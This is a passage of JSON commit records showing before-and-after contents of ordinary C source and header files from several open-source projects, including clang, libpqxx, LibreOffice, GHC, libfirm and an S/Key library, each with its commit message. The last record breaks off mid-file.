{"commit":"5ee6ca95fb823fa0d435af5edbead880362acd1c","old_file":"tests\/notest.epiphany.c","new_file":"tests\/notest.epiphany.c","old_contents":"#include <stdint.h>\n\n#define SKIP 77\nstruct status {\n    uint32_t done;\n    uint32_t _pad1;\n    uint32_t returncode;\n    uint32_t _pad2;\n} __attribute__((packed));\n\nvolatile struct status *epiphany_status = (struct status *) 0x8f200000;\nvolatile char *epiphany_results = (char *) 0x8f300000;\n\nint main(int argc, char *argv[])\n{\n    epiphany_status->returncode = SKIP;\n    epiphany_status->done = 1;\n\n    return SKIP;\n}\n","new_contents":"#include <stdint.h>\n\n#define SKIP 77\nstruct status {\n    uint32_t done;\n    uint32_t _pad1;\n    uint32_t returncode;\n    uint32_t _pad2;\n} __attribute__((packed));\n\nvolatile struct status *epiphany_status = (struct status *) 0x8f200000;\nvolatile char *epiphany_results = (char *) 0x8f300000;\n\n\/* HACK: Provide symbol to work around GCC 5 link error for\n * math\/check_p_{max,min} *\/\nfloat *ai;\n\nint main(int argc, char *argv[])\n{\n    epiphany_status->returncode = SKIP;\n    epiphany_status->done = 1;\n\n    return SKIP;\n}\n","subject":"Fix Epiphany GCC 5 link error","message":"tests: Fix Epiphany GCC 5 link error\n\nSigned-off-by: Ola Jeppsson <793f970c52ded1276b9264c742f19d1888cbaf73@adapteva.com>\n","lang":"C","license":"apache-2.0","repos":"mateunho\/pal,eliteraspberries\/pal,parallella\/pal,parallella\/pal,mateunho\/pal,parallella\/pal,eliteraspberries\/pal,mateunho\/pal,mateunho\/pal,eliteraspberries\/pal,parallella\/pal,aolofsson\/pal,aolofsson\/pal,aolofsson\/pal,parallella\/pal,mateunho\/pal,eliteraspberries\/pal,eliteraspberries\/pal,aolofsson\/pal"}
{"commit":"0dfdfb57d2a2520bfaa7f79343d36478c0929e42","old_file":"test\/Analysis\/html-diags.c","new_file":"test\/Analysis\/html-diags.c","old_contents":"\/\/ RUN: rm -fR %T\/dir\n\/\/ RUN: mkdir %T\/dir\n\/\/ RUN: %clang_cc1 -analyze -analyzer-output=html -analyzer-checker=core -o %T\/dir %s\n\n\/\/ Currently this test mainly checks that the HTML diagnostics doesn't crash\n\/\/ when handling macros will calls with macros.  We should actually validate\n\/\/ the output, but that requires being able to match against a specifically\n\/\/ generate HTML file.\n\n#define DEREF(p) *p = 0xDEADBEEF\n\nvoid has_bug(int *p) {\n  DEREF(p);\n}\n\n#define CALL_HAS_BUG(q) has_bug(q)\n\nvoid test_call_macro() {\n  CALL_HAS_BUG(0);\n}\n","new_contents":"\/\/ RUN: rm -fR %T\/dir\n\/\/ RUN: mkdir %T\/dir\n\/\/ RUN: %clang_cc1 -analyze -analyzer-output=html -analyzer-checker=core -o %T\/dir %s\n\/\/ RUN: ls %T\/dir | grep report\n\n\/\/ PR16547: Test relative paths\n\/\/ RUN: cd %T\/dir\n\/\/ RUN: %clang_cc1 -analyze -analyzer-output=html -analyzer-checker=core -o testrelative %s\n\/\/ RUN: ls %T\/dir\/testrelative | grep report\n\n\/\/ REQUIRES: shell\n\n\/\/ Currently this test mainly checks that the HTML diagnostics doesn't crash\n\/\/ when handling macros will calls with macros.  We should actually validate\n\/\/ the output, but that requires being able to match against a specifically\n\/\/ generate HTML file.\n\n#define DEREF(p) *p = 0xDEADBEEF\n\nvoid has_bug(int *p) {\n  DEREF(p);\n}\n\n#define CALL_HAS_BUG(q) has_bug(q)\n\nvoid test_call_macro() {\n  CALL_HAS_BUG(0);\n}\n","subject":"Add a test case for r185707\/PR16547.","message":"Add a test case for r185707\/PR16547.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@185708 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"eff847ce8d402b663bf19af3d16da2e3f5cb2bbd","old_file":"libpqxx\/include\/pqxx\/util.h","new_file":"libpqxx\/include\/pqxx\/util.h","old_contents":"\/*-------------------------------------------------------------------------\n *\n *   FILE\n *\tpqxx\/util.h\n *\n *   DESCRIPTION\n *      Various utility definitions for libpqxx\n *\n * Copyright (c) 2001-2004, Jeroen T. Vermeulen <jtv@xs4all.nl>\n *\n * See COPYING for copyright license.  If you did not receive a file called\n * COPYING with this source code, please notify the distributor of this mistake,\n * or contact the author.\n *\n *-------------------------------------------------------------------------\n *\/\n#ifndef PQXX_UTIL_H\n#define PQXX_UTIL_H\n\n#if defined(PQXX_HAVE_CPP_WARNING)\n#warning \"Deprecated libpqxx header included.  Use headers without '.h'\"\n#elif defined(PQXX_HAVE_CPP_PRAGMA_MESSAGE)\n#pragma message(\"Deprecated libpqxx header included.  Use headers without '.h'\")\n#endif\n\n#define PQXX_DEPRECATED_HEADERS\n#include \"pqxx\/util\"\n\n#endif\n\n","new_contents":"\/*-------------------------------------------------------------------------\n *\n *   FILE\n *\tpqxx\/util.h\n *\n *   DESCRIPTION\n *      Various utility definitions for libpqxx\n *\n * Copyright (c) 2001-2004, Jeroen T. Vermeulen <jtv@xs4all.nl>\n *\n * See COPYING for copyright license.  If you did not receive a file called\n * COPYING with this source code, please notify the distributor of this mistake,\n * or contact the author.\n *\n *-------------------------------------------------------------------------\n *\/\n#ifndef PQXX_UTIL_H\n#define PQXX_UTIL_H\n\n#if !defined(PQXXYES_I_KNOW_DEPRECATED_HEADER)\n#define PQXXYES_I_KNOW_DEPRECATED_HEADER\n#if defined(PQXX_HAVE_CPP_WARNING)\n#warning \"Deprecated libpqxx header included.  Use headers without '.h'\"\n#elif defined(PQXX_HAVE_CPP_PRAGMA_MESSAGE)\n#pragma message(\"Deprecated libpqxx header included.  Use headers without '.h'\")\n#endif\n#endif\n\n#define PQXX_DEPRECATED_HEADERS\n#include \"pqxx\/util\"\n\n#endif\n\n","subject":"Allow suppression of \"deprecated header\" warning","message":"Allow suppression of \"deprecated header\" warning\n","lang":"C","license":"bsd-3-clause","repos":"mpapierski\/pqxx,mpapierski\/pqxx,mpapierski\/pqxx"}
{"commit":"ab49b49f04a3dd9d3a530193798983d540c031d4","old_file":"touch\/inc\/touch\/touch.h","new_file":"touch\/inc\/touch\/touch.h","old_contents":"\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * Copyright 2013 LibreOffice contributors.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#ifndef INCLUDED_TOUCH_TOUCH_H\n#define INCLUDED_TOUCH_TOUCH_H\n\n#include <config_features.h>\n\n#if !HAVE_FEATURE_DESKTOP\n\n\/\/ Functions to be implemented by the upper\/medium layers on\n\/\/ non-desktop touch-based platforms, with the same API on each such\n\/\/ platform. Note that these are just declared here in this header in\n\/\/ the \"touch\" module, the per-platform implementations are elsewhere.\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid lo_show_keyboard();\nvoid lo_hide_keyboard();\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/\/ HAVE_FEATURE_DESKTOP\n\n#endif \/\/ INCLUDED_TOUCH_TOUCH_H\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n","new_contents":"\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * Copyright 2013 LibreOffice contributors.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#ifndef INCLUDED_TOUCH_TOUCH_H\n#define INCLUDED_TOUCH_TOUCH_H\n\n#include <config_features.h>\n\n#if !HAVE_FEATURE_DESKTOP\n\n\/\/ Functions to be implemented by the app-specifc upper or less\n\/\/ app-specific but platform-specific medium layer on touch-based\n\/\/ platforms. The same API is used on each such platform. There are\n\/\/ called from low level LibreOffice code. Note that these are just\n\/\/ declared here in this header in the \"touch\" module, the\n\/\/ per-platform implementations are elsewhere.\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid lo_show_keyboard();\nvoid lo_hide_keyboard();\n\n\/\/ Functions to be implemented in the medium platform-specific layer\n\/\/ to be called from the app-specific UI layer.\n\nvoid lo_keyboard_did_hide();\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/\/ HAVE_FEATURE_DESKTOP\n\n#endif \/\/ INCLUDED_TOUCH_TOUCH_H\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n","subject":"Add lo_keyboard_did_hide() and improve comment","message":"Add lo_keyboard_did_hide() and improve comment\n\nChange-Id: I20ae40fa03079d69f7ce9e71fa4ef6264e8d84a4\n","lang":"C","license":"mpl-2.0","repos":"JurassicWordExcel\/core,JurassicWordExcel\/core,JurassicWordExcel\/core,JurassicWordExcel\/core,JurassicWordExcel\/core,JurassicWordExcel\/core,JurassicWordExcel\/core,JurassicWordExcel\/core,JurassicWordExcel\/core,JurassicWordExcel\/core"}
{"commit":"2838dd973520318e566e50f81843658749f1acb4","old_file":"compat\/cbits\/unicode.c","new_file":"compat\/cbits\/unicode.c","old_contents":"#if __GLASGOW_HASKELL__ < 604 || (__GLASGOW_HASKELL__==604 && __GHC_PATCHLEVEL__==0)\n#include \"WCsubst.c\"\n#endif\n","new_contents":"#if __GLASGOW_HASKELL__ < 605\n#if __GLASGOW_HASKELL__ != 604 || __GHC_PATCHLEVEL__ == 0\n#include \"WCsubst.c\"\n#endif\n#endif\n","subject":"Fix building with compilers which don't have an integer for a patch level","message":"Fix building with compilers which don't have an integer for a patch level","lang":"C","license":"bsd-3-clause","repos":"tjakway\/ghcjvm,vTurbine\/ghc,sgillespie\/ghc,nkaretnikov\/ghc,snoyberg\/ghc,lukexi\/ghc-7.8-arm64,gcampax\/ghc,sgillespie\/ghc,olsner\/ghc,ekmett\/ghc,mcschroeder\/ghc,da-x\/ghc,mcschroeder\/ghc,lukexi\/ghc,sdiehl\/ghc,mcschroeder\/ghc,ekmett\/ghc,vTurbine\/ghc,green-haskell\/ghc,da-x\/ghc,bitemyapp\/ghc,elieux\/ghc,snoyberg\/ghc,christiaanb\/ghc,ghc-android\/ghc,urbanslug\/ghc,nushio3\/ghc,ekmett\/ghc,holzensp\/ghc,gcampax\/ghc,oldmanmike\/ghc,gridaphobe\/ghc,bitemyapp\/ghc,green-haskell\/ghc,snoyberg\/ghc,shlevy\/ghc,wxwxwwxxx\/ghc,jstolarek\/ghc,ezyang\/ghc,tibbe\/ghc,ezyang\/ghc,wxwxwwxxx\/ghc,elieux\/ghc,AlexanderPankiv\/ghc,christiaanb\/ghc,nkaretnikov\/ghc,ml9951\/ghc,vikraman\/ghc,sdiehl\/ghc,da-x\/ghc,olsner\/ghc,mfine\/ghc,AlexanderPankiv\/ghc,spacekitteh\/smcghc,lukexi\/ghc,siddhanathan\/ghc,nomeata\/ghc,ryantm\/ghc,mcmaniac\/ghc,urbanslug\/ghc,vTurbine\/ghc,bitemyapp\/ghc,lukexi\/ghc-7.8-arm64,nomeata\/ghc,TomMD\/ghc,nathyong\/microghc-ghc,nathyong\/microghc-ghc,anton-dessiatov\/ghc,GaloisInc\/halvm-ghc,spacekitteh\/smcghc,TomMD\/ghc,ghc-android\/ghc,acowley\/ghc,mcschroeder\/ghc,fmthoma\/ghc,bitemyapp\/ghc,mcmaniac\/ghc,siddhanathan\/ghc,AlexanderPankiv\/ghc,GaloisInc\/halvm-ghc,urbanslug\/ghc,ezyang\/ghc,acowley\/ghc,forked-upstream-packages-for-ghcjs\/ghc,mcschroeder\/ghc,gridaphobe\/ghc,ml9951\/ghc,anton-dessiatov\/ghc,nkaretnikov\/ghc,lukexi\/ghc,olsner\/ghc,siddhanathan\/ghc,siddhanathan\/ghc,mettekou\/ghc,ghc-android\/ghc,anton-dessiatov\/ghc,mfine\/ghc,acowley\/ghc,hferreiro\/replay,ezyang\/ghc,ilyasergey\/GHC-XAppFix,shlevy\/ghc,siddhanathan\/ghc,hferreiro\/replay,oldmanmike\/ghc,mettekou\/ghc,shlevy\/ghc,oldmanmike\/ghc,da-x\/ghc,sgillespie\/ghc,AlexanderPankiv\/ghc,shlevy\/ghc,sdiehl\/ghc,GaloisInc\/halvm-ghc,AlexanderPankiv\/ghc,ghc-android\/ghc,tjakway\/ghcjvm,fmthoma\/ghc,mcmaniac\/ghc,nkaretnikov\/ghc,ezyang\/ghc,jstolarek\/ghc,ml9951\/ghc,TomMD\/ghc,ilyasergey\/GHC-XAppFix,nomeata\/ghc,ilyasergey\/GHC-XAppFix,hferreiro\/replay,ml9951\/ghc,nushio3\/ghc,vikraman\/ghc,frantisekfarka\/ghc-dsi,nomeata\/ghc,oldmanmike\/ghc,TomMD\/ghc,vikraman\/ghc,holzensp\/ghc,forked-upstream-packages-for-ghcjs\/ghc,acowley\/ghc,AlexanderPankiv\/ghc,nathyong\/microghc-ghc,da-x\/ghc,olsner\/ghc,mfine\/ghc,nkaretnikov\/ghc,sgillespie\/ghc,mcschroeder\/ghc,ghc-android\/ghc,mcmaniac\/ghc,ilyasergey\/GHC-XAppFix,tibbe\/ghc,GaloisInc\/halvm-ghc,lukexi\/ghc-7.8-arm64,nkaretnikov\/ghc,vTurbine\/ghc,ryantm\/ghc,nathyong\/microghc-ghc,tibbe\/ghc,vikraman\/ghc,vikraman\/ghc,mfine\/ghc,shlevy\/ghc,ml9951\/ghc,wxwxwwxxx\/ghc,nushio3\/ghc,sgillespie\/ghc,ryantm\/ghc,ryantm\/ghc,holzensp\/ghc,acowley\/ghc,frantisekfarka\/ghc-dsi,gridaphobe\/ghc,hferreiro\/replay,nathyong\/microghc-ghc,forked-upstream-packages-for-ghcjs\/ghc,ezyang\/ghc,bitemyapp\/ghc,sdiehl\/ghc,wxwxwwxxx\/ghc,lukexi\/ghc,olsner\/ghc,ml9951\/ghc,nkaretnikov\/ghc,snoyberg\/ghc,gcampax\/ghc,gridaphobe\/ghc,holzensp\/ghc,GaloisInc\/halvm-ghc,mcschroeder\/ghc,snoyberg\/ghc,ekmett\/ghc,GaloisInc\/halvm-ghc,urbanslug\/ghc,christiaanb\/ghc,elieux\/ghc,fmthoma\/ghc,gcampax\/ghc,lukexi\/ghc-7.8-arm64,oldmanmike\/ghc,shlevy\/ghc,da-x\/ghc,mfine\/ghc,shlevy\/ghc,green-haskell\/ghc,holzensp\/ghc,nathyong\/microghc-ghc,oldmanmike\/ghc,siddhanathan\/ghc,mettekou\/ghc,olsner\/ghc,jstolarek\/ghc,hferreiro\/replay,hferreiro\/replay,vTurbine\/ghc,christiaanb\/ghc,wxwxwwxxx\/ghc,christiaanb\/ghc,nushio3\/ghc,jstolarek\/ghc,ghc-android\/ghc,TomMD\/ghc,nushio3\/ghc,gcampax\/ghc,sgillespie\/ghc,tjakway\/ghcjvm,anton-dessiatov\/ghc,gcampax\/ghc,tjakway\/ghcjvm,hferreiro\/replay,mfine\/ghc,ekmett\/ghc,acowley\/ghc,mfine\/ghc,snoyberg\/ghc,urbanslug\/ghc,green-haskell\/ghc,sdiehl\/ghc,anton-dessiatov\/ghc,da-x\/ghc,nathyong\/microghc-ghc,nushio3\/ghc,urbanslug\/ghc,anton-dessiatov\/ghc,olsner\/ghc,anton-dessiatov\/ghc,frantisekfarka\/ghc-dsi,acowley\/ghc,elieux\/ghc,gcampax\/ghc,tjakway\/ghcjvm,tibbe\/ghc,jstolarek\/ghc,siddhanathan\/ghc,mettekou\/ghc,elieux\/ghc,mettekou\/ghc,elieux\/ghc,vTurbine\/ghc,frantisekfarka\/ghc-dsi,sdiehl\/ghc,wxwxwwxxx\/ghc,AlexanderPankiv\/ghc,fmthoma\/ghc,fmthoma\/ghc,vTurbine\/ghc,forked-upstream-packages-for-ghcjs\/ghc,christiaanb\/ghc,tibbe\/ghc,green-haskell\/ghc,gridaphobe\/ghc,sdiehl\/ghc,lukexi\/ghc,fmthoma\/ghc,forked-upstream-packages-for-ghcjs\/ghc,gridaphobe\/ghc,vikraman\/ghc,nomeata\/ghc,oldmanmike\/ghc,snoyberg\/ghc,tjakway\/ghcjvm,ryantm\/ghc,ml9951\/ghc,vikraman\/ghc,spacekitteh\/smcghc,elieux\/ghc,urbanslug\/ghc,ezyang\/ghc,nushio3\/ghc,spacekitteh\/smcghc,TomMD\/ghc,wxwxwwxxx\/ghc,tjakway\/ghcjvm,GaloisInc\/halvm-ghc,forked-upstream-packages-for-ghcjs\/ghc,forked-upstream-packages-for-ghcjs\/ghc,ml9951\/ghc,mettekou\/ghc,TomMD\/ghc,christiaanb\/ghc,sgillespie\/ghc,mcmaniac\/ghc,mettekou\/ghc,lukexi\/ghc-7.8-arm64,spacekitteh\/smcghc,gridaphobe\/ghc,frantisekfarka\/ghc-dsi,ghc-android\/ghc,fmthoma\/ghc"}
{"commit":"5e23b0d60f6ad6bea8531375323e3b8e0e5c4f04","old_file":"webserver\/src\/logging.c","new_file":"webserver\/src\/logging.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n\n#include \"logging.h\"\n\nint log_fail(char* msg) {\n    perror(msg);\n    \/\/ TODO fix log to file\n    return 0;\n}\n\nint log_success(char* msg) {\n    printf(\"%s\\n\", msg);\n    return 0;\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n\n#include \"logging.h\"\n\nint log_fail(char* msg) {\n    perror(msg);\n    \/\/ TODO fix log to file\n    return 0;\n}\n\nint log_success(char* msg) {\n    printf(\"SUCCESS: %s\\n\", msg);\n    return 0;\n}\n","subject":"Change of the default msg","message":"Change of the default msg\n","lang":"C","license":"mit","repos":"foikila\/webserver,foikila\/webserver"}
{"commit":"fb4c0f835d2377256c599023e91dafc3d8e55b4c","old_file":"src\/common\/pixelboost\/network\/networkMessage.h","new_file":"src\/common\/pixelboost\/network\/networkMessage.h","old_contents":"#pragma once\n\n#define NETWORK_MAX_MESSAGE_LENGTH 65535\n\n#include <sys\/types.h>\n\nnamespace pb\n{\n\nclass NetworkMessage\n{\npublic:\n    NetworkMessage();\n    NetworkMessage(const NetworkMessage& src);\n    ~NetworkMessage();\n    \n    bool ReadChar(char& value);\n    bool ReadByte(__uint8_t& value);\n    bool ReadInt(__int32_t& value);\n    bool ReadFloat(float& value);\n    bool ReadString(const char*& value);\n    \n    bool WriteChar(char value);\n    bool WriteByte(__uint8_t value);\n    bool WriteInt(__int32_t value);\n    bool WriteFloat(float value);\n    bool WriteString(const char* value);\n    \n    bool SetData(__int32_t length, char* data);\n    \n    void SetProtocol(__uint32_t protocol);\n    __uint32_t GetProtocol();\n    \n    int GetDataLength();\n    int GetMessageLength();\n    \n    int ConstructMessage(char* buffer, __int32_t maxLength);\n    \nprivate:\n    bool HasRemaining(__int32_t length);\n    \n    __uint32_t _Protocol;\n    \n    char* _Buffer;\n    int _Offset;\n    __int32_t _Length;\n};\n\n}\n","new_contents":"#pragma once\n\n#define NETWORK_MAX_MESSAGE_LENGTH 262140\n\n#include <sys\/types.h>\n\nnamespace pb\n{\n\nclass NetworkMessage\n{\npublic:\n    NetworkMessage();\n    NetworkMessage(const NetworkMessage& src);\n    ~NetworkMessage();\n    \n    bool ReadChar(char& value);\n    bool ReadByte(__uint8_t& value);\n    bool ReadInt(__int32_t& value);\n    bool ReadFloat(float& value);\n    bool ReadString(const char*& value);\n    \n    bool WriteChar(char value);\n    bool WriteByte(__uint8_t value);\n    bool WriteInt(__int32_t value);\n    bool WriteFloat(float value);\n    bool WriteString(const char* value);\n    \n    bool SetData(__int32_t length, char* data);\n    \n    void SetProtocol(__uint32_t protocol);\n    __uint32_t GetProtocol();\n    \n    int GetDataLength();\n    int GetMessageLength();\n    \n    int ConstructMessage(char* buffer, __int32_t maxLength);\n    \nprivate:\n    bool HasRemaining(__int32_t length);\n    \n    __uint32_t _Protocol;\n    \n    char* _Buffer;\n    int _Offset;\n    __int32_t _Length;\n};\n\n}\n","subject":"Increase max length of a network message to support larger records","message":"Increase max length of a network message to support larger records\n","lang":"C","license":"mit","repos":"pixelballoon\/pixelboost,pixelballoon\/pixelboost,pixelballoon\/pixelboost,pixelballoon\/pixelboost,pixelballoon\/pixelboost"}
{"commit":"51c7e9a45e870e07de66880248be05d5b73dd249","old_file":"lineart.h","new_file":"lineart.h","old_contents":"\/\/\n\/\/  lineart.h\n\/\/  LineArt\n\/\/\n\/\/  Created by Allek Mott on 10\/1\/15.\n\/\/  Copyright © 2015 Loop404. All rights reserved.\n\/\/\n\n#ifndef lineart_h\n#define lineart_h\n\n#include <stdio.h>\n\n#define MAX_LINE_LENGTH 200\n\n\/\/ data structure for line\n\/\/ (x1, y1) = inital point\n\/\/ (x2, y2) = final point\nstruct line {\n    int x1;\n    int y1;\n    int x2;\n    int y2;\n};\n\n\/\/ data structure for point (x, y)\nstruct point {\n    int x;\n    int y;\n};\n\n\/\/ Generate displacement value for new line\nint genDifference();\n\n\/\/ Easy line resetting\/initialization\nvoid easyLine(struct line *l, int x1, int y1, int x2, int y2);\n\n\n\/\/ Calculates midpoint of line l,\n\/\/ stores in point p\nvoid getMidpoint(struct line *l, struct point *p);\n\n\/\/ Generate next line in sequence\nvoid genNextLine(struct line *previous, struct line *current, int lineNo);\n\n#endif \/* lineart_h *\/\n","new_contents":"\/\/\n\/\/  lineart.h\n\/\/  LineArt\n\/\/\n\/\/  Created by Allek Mott on 10\/1\/15.\n\/\/  Copyright © 2015 Loop404. All rights reserved.\n\/\/\n\n#ifndef lineart_h\n#define lineart_h\n\n#include <stdio.h>\n\n#define MAX_LINE_LENGTH 200\n\n\/\/ data structure for line\n\/\/ (x1, y1) = inital point\n\/\/ (x2, y2) = final point\nstruct line {\n    int x1;\n    int y1;\n    int x2;\n    int y2;\n};\n\n\/\/ data structure for point (x, y)\nstruct point {\n    int x;\n    int y;\n};\n\n\/\/ data structure for node\n\/\/ in linked list of lines\nstruct node {\n    struct line *line;\n    struct node *next;\n};\n\n\/\/ Generate displacement value for new line\nint genDifference();\n\n\/\/ Easy line resetting\/initialization\nvoid easyLine(struct line *l, int x1, int y1, int x2, int y2);\n\n\n\/\/ Calculates midpoint of line l,\n\/\/ stores in point p\nvoid getMidpoint(struct line *l, struct point *p);\n\n\/\/ Generate next line in sequence\nvoid genNextLine(struct line *previous, struct line *current, int lineNo);\n\nvoid freeLineNode(struct node *node);\n\nvoid freeLineList(struct node *root);\n\n#endif \/* lineart_h *\/\n","subject":"Add list function declarations, node structure","message":"Add list function declarations, node structure\n","lang":"C","license":"apache-2.0","repos":"tchieze\/LineArt"}
{"commit":"1d189e339e73ad78eb02819112a70a5595c9b6b0","old_file":"lib\/libskey\/skey_getpass.c","new_file":"lib\/libskey\/skey_getpass.c","old_contents":"#include <unistd.h>\n#include <stdio.h>\n#include <skey.h>\n\n\/* skey_getpass - read regular or s\/key password *\/\n\nchar   *skey_getpass(prompt, pwd, pwok)\nchar   *prompt;\nstruct passwd *pwd;\nint     pwok;\n{\n    static char buf[128];\n    struct skey skey;\n    char   *pass = \"\";\n    char   *username = pwd ? pwd->pw_name : \"nope\";\n    int     sflag;\n\n    \/* Attempt an s\/key challenge. *\/\n    sflag = skeyinfo(&skey, username, buf);\n    if (!sflag)\n\tprintf(\"%s\\n\", buf);\n\n    if (!pwok) {\n\tprintf(\"(s\/key required)\\n\");\n\tif (sflag)\n\t    return (pass);\n    }\n\n    pass = getpass(prompt);\n\n    \/* Give S\/Key users a chance to do it with echo on. *\/\n    if (!sflag && !feof(stdin) && *pass == '\\0') {\n\tfputs(\" (turning echo on)\\n\", stdout);\n\tfputs(prompt, stdout);\n\tfflush(stdout);\n\tfgets(buf, sizeof(buf), stdin);\n\trip(buf);\n\treturn (buf);\n    } else\n\treturn (pass);\n}\n","new_contents":"#include <unistd.h>\n#include <stdio.h>\n#include <skey.h>\n\n\/* skey_getpass - read regular or s\/key password *\/\n\nchar   *skey_getpass(prompt, pwd, pwok)\nchar   *prompt;\nstruct passwd *pwd;\nint     pwok;\n{\n    static char buf[128];\n    struct skey skey;\n    char   *pass = \"\";\n    char   *username = pwd ? pwd->pw_name : \":\";\n    int     sflag;\n\n    \/* Attempt an s\/key challenge. *\/\n    sflag = skeyinfo(&skey, username, buf);\n    if (!sflag)\n\tprintf(\"%s\\n\", buf);\n\n    if (!pwok) {\n\tprintf(\"(s\/key required)\\n\");\n\tif (sflag)\n\t    return (pass);\n    }\n\n    pass = getpass(prompt);\n\n    \/* Give S\/Key users a chance to do it with echo on. *\/\n    if (!sflag && !feof(stdin) && *pass == '\\0') {\n\tfputs(\" (turning echo on)\\n\", stdout);\n\tfputs(prompt, stdout);\n\tfflush(stdout);\n\tfgets(buf, sizeof(buf), stdin);\n\trip(buf);\n\treturn (buf);\n    } else\n\treturn (pass);\n}\n","subject":"Change \"nope\" to \":\" Previous variant not work well, if you have a user with name nope","message":"Change \"nope\" to \":\"\nPrevious variant not work well, if you have a user with name nope\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"8f609567b666a160d19537f5b0e793b6092eb499","old_file":"ir\/ana\/constbits.h","new_file":"ir\/ana\/constbits.h","old_contents":"#ifndef CONSTBITS_H\n#define CONSTBITS_H\n\n#include \"adt\/obst.h\"\n#include \"tv.h\"\n\ntypedef struct bitinfo\n{\n\tir_tarval* z; \/* safe zeroes, 0 = bit is zero,       1 = bit maybe is 1 *\/\n\tir_tarval* o; \/* safe ones,   0 = bit maybe is zero, 1 = bit is 1 *\/\n} bitinfo;\n\n\/* Get analysis information for node irn *\/\nbitinfo* get_bitinfo(ir_node const* const irn);\n\n\/* Set analysis information for node irn *\/\nint set_bitinfo(ir_node* const irn, ir_tarval* const z, ir_tarval* const o);\n\n\/* Compute value range fixpoint aka which bits of value are constant zero\/one.\n * The result is available via links to bitinfo*, allocated on client_obst. *\/\nvoid constbits_analyze(ir_graph* const irg, struct obstack *client_obst);\n\n\/* Clears the bit information for the given graph.\n *\n * This does not affect the obstack passed to constbits_analyze.\n *\/\nvoid constbits_clear(ir_graph* const irg);\n\n#endif\n","new_contents":"#ifndef CONSTBITS_H\n#define CONSTBITS_H\n\n#include \"adt\/obst.h\"\n#include \"tv.h\"\n\ntypedef struct bitinfo\n{\n\tir_tarval* z; \/* safe zeroes, 0 = bit is zero,       1 = bit maybe is 1 *\/\n\tir_tarval* o; \/* safe ones,   0 = bit maybe is zero, 1 = bit is 1 *\/\n} bitinfo;\n\n\/* Get analysis information for node irn *\/\nbitinfo* get_bitinfo(ir_node const* irn);\n\n\/* Set analysis information for node irn *\/\nint set_bitinfo(ir_node* irn, ir_tarval* z, ir_tarval* o);\n\n\/* Compute value range fixpoint aka which bits of value are constant zero\/one.\n * The result is available via links to bitinfo*, allocated on client_obst. *\/\nvoid constbits_analyze(ir_graph* irg, struct obstack *client_obst);\n\n\/* Clears the bit information for the given graph.\n *\n * This does not affect the obstack passed to constbits_analyze.\n *\/\nvoid constbits_clear(ir_graph* irg);\n\n#endif\n","subject":"Remove pointless const from function declarations.","message":"Remove pointless const from function declarations.\n","lang":"C","license":"lgpl-2.1","repos":"jonashaag\/libfirm,8l\/libfirm,libfirm\/libfirm,killbug2004\/libfirm,davidgiven\/libfirm,MatzeB\/libfirm,jonashaag\/libfirm,libfirm\/libfirm,killbug2004\/libfirm,MatzeB\/libfirm,8l\/libfirm,jonashaag\/libfirm,killbug2004\/libfirm,MatzeB\/libfirm,jonashaag\/libfirm,davidgiven\/libfirm,libfirm\/libfirm,davidgiven\/libfirm,killbug2004\/libfirm,libfirm\/libfirm,killbug2004\/libfirm,8l\/libfirm,davidgiven\/libfirm,jonashaag\/libfirm,MatzeB\/libfirm,8l\/libfirm,killbug2004\/libfirm,MatzeB\/libfirm,jonashaag\/libfirm,MatzeB\/libfirm,libfirm\/libfirm,davidgiven\/libfirm,jonashaag\/libfirm,8l\/libfirm,8l\/libfirm,killbug2004\/libfirm,8l\/libfirm,davidgiven\/libfirm,MatzeB\/libfirm,davidgiven\/libfirm"}
{"commit":"087d26add507d41839b5ae9c80f25e7208c82754","old_file":"third_party\/widevine\/cdm\/android\/widevine_cdm_version.h","new_file":"third_party\/widevine\/cdm\/android\/widevine_cdm_version.h","old_contents":"\/\/ Copyright (c) 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WIDEVINE_CDM_VERSION_H_\n#define WIDEVINE_CDM_VERSION_H_\n\n#include \"third_party\/widevine\/cdm\/widevine_cdm_common.h\"\n\n\/\/ Indicates that the Widevine CDM is available.\n#define WIDEVINE_CDM_AVAILABLE\n\n\/\/ TODO(ddorwin): Remove when we have CDM availability detection\n\/\/ (http:\/\/crbug.com\/224793).\n#define DISABLE_WIDEVINE_CDM_CANPLAYTYPE\n\n\/\/ Indicates that ISO BMFF CENC support is available in the Widevine CDM.\n\/\/ Must be enabled if any of the codecs below are enabled.\n#define 